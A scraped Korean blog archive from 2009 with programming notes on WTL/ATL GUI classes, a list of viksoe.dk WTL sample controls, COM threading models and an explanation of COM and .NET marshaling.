        CDialogImpl 클래스를 상속받은 모달 Dialog를 만든 경우, Dialog 속성 창에서 Style을 Popup으로 해줘야 정상적으로 동작한다.

      3.8 DDX

        DDX_FLOAT 매크로를 사용하기 위해서는 atlddx.h 파일을 include하기 전에 _ATL_USE_DDX_FLOAT 매크로를 정의해줘야한다.

      3.9 메뉴 업데이트

        메뉴 업데이트(활성화/비활성화, 체크 등)를 사용하기 위해서는 CUpdateUI를 상속받은 다음, BEGIN_UPDATE_UI_MAP, END_UPDATE_UI_MAP 맵을 정의해줘야한다. 실제 업데이트는 UIEnable, UISetCheck 등의 함수를 이용한다.
        class cMainFrame : public CFrameWindowImpl<cMainFrame>,                     public CUpdateUI<cMainFrame>,                    public CMessageFilter,                    public CIdleHandler {     BEGIN_UPDATE_UI_MAP(cMainFrame)         UPDATE_ELEMENT(ID_VIEW_ORIGINALMESH, UPDUI_MENUPOPUP)         UPDATE_ELEMENT(ID_VIEW_NAVIGATIONMESH, UPDUI_MENUPOPUP)         UPDATE_ELEMENT(ID_VIEW_WIREFRAME, UPDUI_MENUPOPUP)         UPDATE_ELEMENT(ID_VIEW_BODY, UPDUI_MENUPOPUP)     END_UPDATE_UI_MAP() }; 

      3.10 단축키

      • 단축키를 지원하기 위해서는 CMessageFilter를 상속받고, PreTranslateMessage 함수를 오버라이드해준 다음, 윈도우 생성 시에 AddMessageFilter 함수를 이용해 메시지 루프에다 필터를 추가해야한다.

      3.11 RichEdit 컨트롤 사용하기

        RichEdit 컨트롤을 사용하기 위해서는 다음과 같은 매크로를 atlctrls.h 파일을 include 하기 전에 정의하고, 어딘가에서 라이브러리를 직접 로드해줘야한다.
        // RichEdit 1.0을 사용하기 위한 정의//#define WINVER                0x0400//#define _WIN32_IE     0x0400//#define _RICHEDIT_VER 0x0100// RichEdit 2.0을 사용하기 위한 정의#define WINVER          0x0500#define _WIN32_WINNT    0x0500#define _WIN32_IE       0x0501#define _RICHEDIT_VER   0x0200#include <atlctrls.h>...HINSTANCE hInstRich = ::LoadLibrary(CRichEditCtrl::GetLibraryName());ATLASSERT(hInstRich != NULL);...::FreeLibrary(hInstRich);



    4 다운로드


    'Computer Science' 카테고리의 다른 글

    Using the ATL Windowing Classes  (0) 2009.04.28
    ATL::CWindow 사용하기  (0) 2009.04.28
    WTL code  (0) 2009.04.25
    COM Architecture : Threading models  (0) 2009.04.24
    COM : mfc Automation mfc  (0) 2009.04.24

    http://www.viksoe.dk/code/all_wtl.htm

    WTL code

    Sample Projects


    Dialog Ed
    Dialog Ed implements a dialog editor using the DHTML Editing Component.
    Find out more here.

    Docked UI
    A sample project demonstrating my experimental WTL UI classes. It includes trendy classes such as the Docking Views, TaskBar Icon and Dialog Shadows classes.
    Find out more here.

    IconPackager
    The StarDock IconPackager user-interface.
    Find out more here.

    Script Studio
    A remake of the Envox Studio application.
    Find out more here.

    Skinned UI
    A mock-up project, which displays a skinned User Interface.
    Find out more here.

    Vista Photo Thing
    A recreation of the Windows Vista Photo Gallery user-interface.
    Find out more here.

    WTL XP UI
    A sample project demonstrating my experimental WTL XP classes.
    Find out more here.

    Documentation


    WTL Documentation
    HTML Help Documentation for the WTL library.
    Find out more here.

    Utilities


    ASCII Desktop
    Displays the Windows Desktop as ASCII art.
    Find out more here.

    FileMess
    FileMess is a neat utility, which moves files from one folder to another using pattern matching.
    Find out more here.

    Focus Flasher
    Tracks the current window/control with focus.
    Find out more here.

    Non-Rect
    Sample showing how to create a non-rectangular window.
    Find out more here.

    Controls


    Alpha Play
    A short walk-through of the alpha functions in Windows XP.
    Find out more here.

    Auto Hide control
    Adds "Auto Hide" side-bar to you window frame. It's that annoying left-side pop-up window from VisualStudio.NET.
    Find out more here.

    Balloon Dialog
    An Office 97-like balloon dialog.
    Find out more here.

    Bevel Line
    Turns a regular label (static control) into a bevel (raised or sunken) line.
    Find out more here.

    Blue Marquee
    Dragging a blue transparent selection box.
    Find out more here.

    Breadcrumbs Vista
    How to create the Breadcrumbs in Windows Vista.
    Find out more here.

    ButtonMenu
    A menu button control. Ownerdrawn button painting in Windows 98 and Windows XP.
    Find out more here.

    Calendar
    A simple calendar control with appointment lists.
    Find out more here.

    ChoiceBar
    A generic popup bar with buttons in a grid. Includes a palette chooser, border style bar and a pen style popup.
    Find out more here.

    Collapsible Panel
    A Collapsible Panel Container like the Windows XP Explorer kind.
    Find out more here.

    Coloured controls
    Extensions to most of the standard Windows controls with custom colouring.
    Find out more here.

    ComboBoxes
    Various ComboBox controls.
    Find out more here.

    Cool Tabs
    A set of custom drawn tab controls.
    Includes DevStudio 6 and VisualStudio.NET folder tabs.
    Find out more here.

    Day Planner
    Plan you day! With drag'n'drop and custom drawing.
    Find out more here.

    Edit Filter
    A simple subclassed EDIT control, which filters input.
    Find out more here.

    Edit ListBox
    Looks like the MS Developer Studio edit listbox.
    Find out more here.

    Edit Validate
    A subclassed EDIT control that only accept input based on a pattern-matching mask. With nice visual cues on errors.
    Find out more here.

    Fade Button
    A button which glows when the mouse hovers over it.
    Find out more here.

    Gradient Label
    Turns a regular label (static control) into a gradient filled label control.
    Find out more here.

    GraphLite
    A simple graph control.
    Find out more here.

    HTML ListBox
    A WTL list control which uses the HTML layout engine.
    Find out more here.

    Hex Editor
    A Hex Editor control.
    Find out more here.

    Image ListBox
    An ownerdrawn listbox with images and formatting.
    Find out more here.

    IntelliMouse
    Adds IntelliMouse support to a WTL window.
    Find out more here.

    LED control
    A LED control.
    Find out more here.

    ListView Tip
    A tracking tooltip for a ListView control
    Find out more here.

    MS Access Bar
    A control which looks like the MS Access 2000 Navigation bar.
    Find out more here.

    MS Outlook Bar
    A control which looks like the MS Outlook Navigation bar.
    Find out more here.

    Menu Control
    A fix for the infamous WTL 3.1 CommandBar MDI bug.
    Find out more here.

    MiniHTML
    A GDI based label control with text formatting.
    Find out more here.

    MultiSelect Tree
    A tree with multi-select capabilities.
    Find out more here.

    Namespace Tree Control
    How to use the Namespace Tree Control in Windows Vista.
    Find out more here.

    Non-Client control
    Testing non-client painting in Windows.
    Find out more here.

    Pie Chart
    A simple pie chart control with two sections.
    Find out more here.

    PropertyGrid
    A simple WTL grid control.
    Find out more here.

    PropertyList
    A WTL property list control; just like the one in MS Visual Basic.
    Find out more here.

    PropertyTree
    A WTL Property Tree control; resembles the IE Options control.
    Find out more here.

    PropertyView
    A LISTBOX subclass that displays a property-list. Not in-place editable.
    Find out more here.

    RTF ToolTip
    Use RTF in your tooltips. Create tooltips like in MS SQL Server 7.
    Find out more here.

    Relationship
    A control modelled after the MS Access Relationship editor.
    Find out more here.

    RtfStatic
    A RTF based label replacement with text formatting.
    Find out more here.

    Scanf Edit
    A masked edit control, which displays like the Date Time Picker control.
    Find out more here.

    Script Editor
    A RTF based editor with syntax highlighting.
    Find out more here.

    Shell Controls
    A bunch of controls that show files and folders using the Shell interfaces.
    Find out more here.

    Simple HTML Viewer
    A RTF-based HTML viewer control. Extends the RichEdit control.
    Find out more here.

    Skinned Button
    A WTL version of Shinya Miyamoto's Window Blinds skinned button.
    Find out more here.

    SplitterBar
    An even more simple SplitterBar control.
    Find out more here.

    Tabbed Dialog Container
    A container window for dialogs. Also includes a Tab control with view support.
    Find out more here.

    Task Dialog 98
    A TaskDialog replacement for Windows XP and worse.
    Find out more here.

    Task Dialog Wizard
    Using TaskDialog in multi-paged mode.
    Find out more here.

    TreeListView
    It's one of those "tree with a combined listview" controls.
    Find out more here.

    TreeMap Graphs
    Shows disk usage with treemapping algorithms.
    Find out more here.

    Waiting Anim
    A small spinning wheel animating control.
    Find out more here.


    If you can't find the control you're after, why not suggest it to me?

    Classes


    Command Bar XP
    An extension to the WTL Command Bar. Looks more Office XP like.
    Find out more here.

    Control Panel Applet
    Creates a Windows Control Panel Applet.
    Find out more here.

    Recent Command Bar
    An extension to the WTL Command Bar. Looks more Office 2000 like.
    Find out more here.

    TaskBarIcon
    A wrapper for the Shell Task Bar API to enable your own taskbar icons.
    Find out more here.

    atlctrlsext
    Additional WTL Window control wrappers.
    Find out more here.

    atldib
    A DIB (Device Independant Bitmap) class.
    Find out more here.

    atldock
    A basic docking windows framework for WTL.
    Find out more here.

    atlgdix
    Some extra GDI classes. Implements a memory DC for offscreen flicker-free painting.
    Find out more here.

    atlwinmisc
    Wraps a couple of the common Windows data types and functions.
    Find out more here.

    'Computer Science' 카테고리의 다른 글

    ATL::CWindow 사용하기  (0) 2009.04.28
    wtl  (0) 2009.04.25
    COM Architecture : Threading models  (0) 2009.04.24
    COM : mfc Automation mfc  (0) 2009.04.24
    마샬링(Marshaling)이란?  (0) 2009.04.24

    아래의 WTL의 설명은 본인이 일본의 http://home.att.ne.jp/banana/akatsuki/doc/atlwtl/index.html
    에서 가져온 자료를 번역기로 1차 번역 후 본인이 약간 손을 본 자료입니다.
    WTL에 대해서 좋은 정보를 얻으셨다면 위 사이트의 주인의 덕택입니다.

    ATL/WTL



































    다이얼로그 사이즈







    MRU 파일 리스트



    '기본 카테고리' 카테고리의 다른 글

    [본문스크랩] IPTABLES - DDoS | 5.DDOS방어 서버  (0) 2009.05.18
    mysql linux 해킹  (0) 2009.05.07
    atl  (0) 2009.04.25
    우분투에 php, jsp 개발환경 만들기  (0) 2009.04.22
    php 그래프  (0) 2009.04.22

    '기본 카테고리' 카테고리의 다른 글

    mysql linux 해킹  (0) 2009.05.07
    atl/wtl 속성강좌  (0) 2009.04.25
    우분투에 php, jsp 개발환경 만들기  (0) 2009.04.22
    php 그래프  (0) 2009.04.22
    [함수] GD 를 이용한 통계용그래프 수정안2  (0) 2009.04.22
    COM Threading Model의 필요성
    - in-process server를 제외한 COM 서버는 기본적으로 단일 COM 개체에 여러 클라이언트 스래드가 접근 가능한 다중스래드 환경에 노출되어 있다. 바로 이 클라이언트의 접근 동기화를 위해 COM threading model이 존재한다.

    COM Threading Models
    - single-threading model, apartment-threading model, free-threading(multi-threaded) model, mixed-threading(apartment 및 free-threading 지원) model, neutral model의 총 5가지 모델이 존재한다(명칭이 혼란스럽다. free-threading, mixed-threading model, neutral model 역시 apartment를 통한 threading 모델이다. 여기서는 apartment-threading model까지 포함한 이들을 가리켜 Apartment 연관 모델이라 지칭하겠다).
    - COM 라이브러리를 사용하기 전에 반드시 호출해야 하는 CoInitializeEx()이 바로 이 모델 지정에 사용된다.
    - 클라이언트와 COM 서버의 threading model이 서로 다르더라도 COM run-time 라이브러리가 이들 간 통신을 thread-safe하게 조절하지만, 성능 저하가 발생한다.

    'Computer Science' 카테고리의 다른 글

    wtl  (0) 2009.04.25
    WTL code  (0) 2009.04.25
    COM : mfc Automation mfc  (0) 2009.04.24
    마샬링(Marshaling)이란?  (0) 2009.04.24
    박성규씨의 ATL강좌  (0) 2009.04.24
    COM : mfc Automation mfc

    'Computer Science' 카테고리의 다른 글

    WTL code  (0) 2009.04.25
    COM Architecture : Threading models  (0) 2009.04.24
    마샬링(Marshaling)이란?  (0) 2009.04.24
    박성규씨의 ATL강좌  (0) 2009.04.24
    ATL/COM 강좌  (0) 2009.04.24

    marshalling ; 마샬링

    원래, 마샬이란 말을 지키거나, 축제 준비를 위하여 물건들을 가지런히 하는 것을 가리킨다. 의식에서, 마샬링이란 여러 벌의 코트 팔들이 하나의 구도를 이루도록 배열하는 것이다. 군에서의, 마샬링은 전투준비를 위해 군대를 모으고 정렬시키는 것을 의미한다.

    컴퓨터 프로그래밍에서, 마샬링은 하나 이상의 프로그램 또는 연속되어 있지 않은 저장 공간으로부터 데이터를 모은 다음, 데이터들을 메시지 버퍼에 집어넣고, 특정 수신기나 프로그래밍 인터페이스에 맞도록 그 데이터를 조직화하거나, 미리 정해진 다른 형식으로 변환하는 과정을 말한다.

    마샬링은 대체로, 어떤 한 언어로 작성된 프로그램의 출력 매개변수들을, 다른 언어로 작성된 프로그램의 입력으로 전달해야 하는 경우에 필요하다.

    클라이언트에서 원격 객체를 호출하기 위해서 필요한 모든 정보를

    묶어서 클라이언트에게 전송한다. 이러한 정보를 묶는 작업을

    마샬링(Marshaling)이라고 부른다.


    ■ 마샬링(Marshaling)의 종류와 구현

    ▷ 참조 마샬링(Mashal By Reference)
    - MarshalByRefObject를 상속
    ▶ 참조 마샬링(MBR)을 위한 클래스
    - public class MarshalSample : MarshalByRefObject {}

    ▷ 값 마샬링(Mashal By Value)
    - Serializable Attribute를 지정하거나 ISerializable 인터페이스를 구현
    ▶ 값 마샬링(MBV)을 위한 클래스
    - public class SerialSample {}
    후배의 답변)
    COM Server와 COM Client가 있을 때(다른 프로세스, 혹은 시스템일 경우)

    Client와 Server간의 데이타 전송시 각 도착지점의 데이타 형식에 맞게 내부적으로 변경해주는 것입니다.

    간단한 예를 들자면, Client에서 메모리를 할당하여 사용하면서, 포인터를 서버측으로 넘겼을 때, 마샬링이 일어나지 않는다면 해당 포인터는 유효하지 유효하지 않은 상태로, 잘못된 공간을 가르키고 있을 것입니다.
    포 인터가 Client에서 Server로 넘어갈 때, 내부적으로 Server에서도 동일한 공간의 메모리를 할당하고, Client의 할당된 메모리를 복제한 뒤 Client에서 넘어온 포인터의 값을 Server에서 할당된 공간의 포인터로 바꿔서 전달이 된다면 해당 포인터는 유효하게 동작할 것이고, 이러한 식의 동작을 마샬링이라고 합니다.

    다른 예를 들자면, .Net COM Server와 VB COM Client가 있다고 가정을 했을 때, 만약 마샬링이 일어나지 않는 채로 데이타를 전달하게되면, 서로의 포멧이 맞지 않아 정상적으로 전달되지 않을 것입니다. 서로간의 데이타 전달을 위해 일정한 형식의 포멧으로 맞추어 전달하는 것이 마샬링입니다.

    마샬링을 한 단어로 설명하면 Serialization이 될 것입니다.




    from)
    http://jgdr.net/faq/cache/148.html
    원래, 마샬이란 말을 지키거나, 축제 준비를 위하여 물건들을 가지런히 하는 것을 가리킨다. 의식에서, 마샬링이란 여러 벌의 코트 팔들이 하나의 구도를 이루도록 배열하는 것이다. 군에서의, 마샬링은 전투준비를 위해 군대를 모으고 정렬시키는 것을 의미한다.
    컴 퓨터 프로그래밍에서, 마샬링은 하나 이상의 프로그램 또는 연속되어 있지 않은 저장 공간으로부터 데이터를 모은 다음, 데이터들을 메시지 버퍼에 집어넣고, 특정 수신기나 프로그래밍 인터페이스에 맞도록 그 데이터를 조직화하거나, 미리 정해진 다른 형식으로 변환하는 과정을 말한다.
    마샬링은 대체로, 어떤 한 언어로 작성된 프로그램의 출력 매개변수들을, 다른 언어로 작성된 프로그램의 입력으로 전달해야 하는 경우에 필요하다.
    마샬링(marshalling)은 클라이언트가 사용하고자 하는 객체의 형태에 관계없이 같은 방식으로 인터페이스 함수를 사용할 수 있게 하는 메카니즘이다.
    마샬링은 두 가지의 단계를 포함한다.
    1) 서버의 인터페이스 포인터를 다른 프로세스의 클라이언트에서 사용할 수 있게 한다. 2) 클라이언트가 인터페이스의 함수에 실은 함수 인자들을 정확하게 서버로 전달해야 한다.
    원칙적으로 클라이언트는 in-proc서버만을 사용할 수 있다. 원격에 있는 서버를 사용하기 위해서는 그 서버를 대행하면서, 클라이언트와 같은 프로세스에서 실행될 수 있는 프록시나 핸들러가 필요하다.
    프록시는 원격의 서버를 순수하게대행한다는 의미이지만, 핸들러는 대행을 할 수도 있고, 자신이 구현할 수도 있는 혼합형태이다. 어쨌든 둘 다 원격의 객체와 클라이언트의 연결을 위한 대행의 역할을 한다.
    클라이언트가 서버의 함수를 호출할 때 넘겨지는 인자, 그리고 서버 함수의 리턴값은 프로세스의 경계를 넘어서 유효해야 한다. 이 측면 또한 마샬링이 개입되는 곳이다.
    인자의 형태에 따라 다른 형태의 마샬링이 일어난다. DWORD같이 간단한 타입은 직접 복사가 된다. 그러나 어떤 영역을 가리키는 포인터가 넘어갈 때는 그 영역 전체가 프로세스 경계를 넘어 복사되어야 한다.
    < 커스텀 마샬링과 표준 마샬링 >
    커스텀 마샬링의 경우 객체는 프록시/스텁에 자신의 인터페이스(인자)에 대한 마샬링 정책을 명확하게 정의해야 한다. 커스텀 마샬링은 주로 효율을 높이기 위한 목적으로 사용된다.
    OLE는 또한 표준 마샬링을 지원한다. 즉 표준 프록시와 표준 스텁을 제공하는데, 이 둘간에는 표준 RPC를 통해 통신한다.
    표 준 프록시와 표준 스텁은 각각의 인터페이스를 처리하는 작은 코드인 인터페이스 마샬러의 집합이다. 그래서 프록시는 프록시 매니저로, 스텁은 스텁 매니저로 불린다. 또한 마샬러는 인터페이스 프록시, 인터페이스 스텁이라고 불린다. 용어의 혼동을 피하기 위해 인터페이스 프록시는 facelet으로, 인터페이스 스텁은 stublet으로 부른다.
    < 마샬링 기본 메카니즘 > 클라이언트는 CoGetClassObject를 실행하여 원격 서버를 실행하고, 원격 서버는 CoRegisterClassObject함수를 통해 마샬링을 시작하게 된다. 이 과정을 통해 일단 서버의 IClassFactory가 클라이언트에 넘겨진다.
    이 과정을 자세히 살펴보면 다음과 같다.
    1) CoRegisterClassObject안에서 COM은 객체에게 클라이언트 프로세스에 포함될 프록시의 CLSID를 요구한다. 만일 객체가 CLSID를 제공하지 않을 때는 COM은 표준 마샬링 프록시를 사용한다.
    2) COM은 객체에게 마샬링 패킷을 요구한다. 마샬링 패킷은 프록시가 객체와 연결할 때 필요한 정보들을 담고 있다. 객체가 제공하지 않으면 역시 COM은 표준 패킷을 사용한다.
    3) COM은 프록시 CLSID와 마샬링 패킷을 클라이언트에 넘긴다.
    4) 클라이언트의 프로세스에서 COM은 1에서 얻어진 CLSID로 프록시를 생성하고, 2에서 얻어진 마샬링 패킷을 가져온다.
    5) 이제 프록시는 클라이언트가 CoGetClassObject에서 요구한 인터페이스의 포인터를 넘긴다. 클라이언트는 이 포인터(보통 IClassFactory)로 실제 객체를 생성할 수 있다.
    1,2과정은 CoMarshalInterface함수가 담당하고, 3과정은 Service Control Manager가 담당한다. 4,5과정은 CoUnmarshalInterface가 담당한다.
    coolcsw

    'Computer Science' 카테고리의 다른 글

    COM Architecture : Threading models  (0) 2009.04.24
    COM : mfc Automation mfc  (0) 2009.04.24
    박성규씨의 ATL강좌  (0) 2009.04.24
    ATL/COM 강좌  (0) 2009.04.24
    Hello, World! Web App  (0) 2009.04.23

    박성규씨의 ATL강좌

    박성규씨 홈페이지 : http://www.component.pe.kr
    출처 : ZEMNA.NET :: Zemna VC++ 6.0 ATL -
    박성규씨의 ATL강좌 - http://www.zemna.net/prog_vcpp6_atl/196

    1240535172_ATL_1.pdf 1240535172_ATL_2.pdf 1240535172_ATL_3.pdf

    'Computer Science' 카테고리의 다른 글

    COM : mfc Automation mfc  (0) 2009.04.24
    마샬링(Marshaling)이란?  (0) 2009.04.24
    ATL/COM 강좌  (0) 2009.04.24
    Hello, World! Web App  (0) 2009.04.23
    tomcat 세팅 및 가상 디렉토리 설정 하기  (0) 2009.04.23

    + Recent posts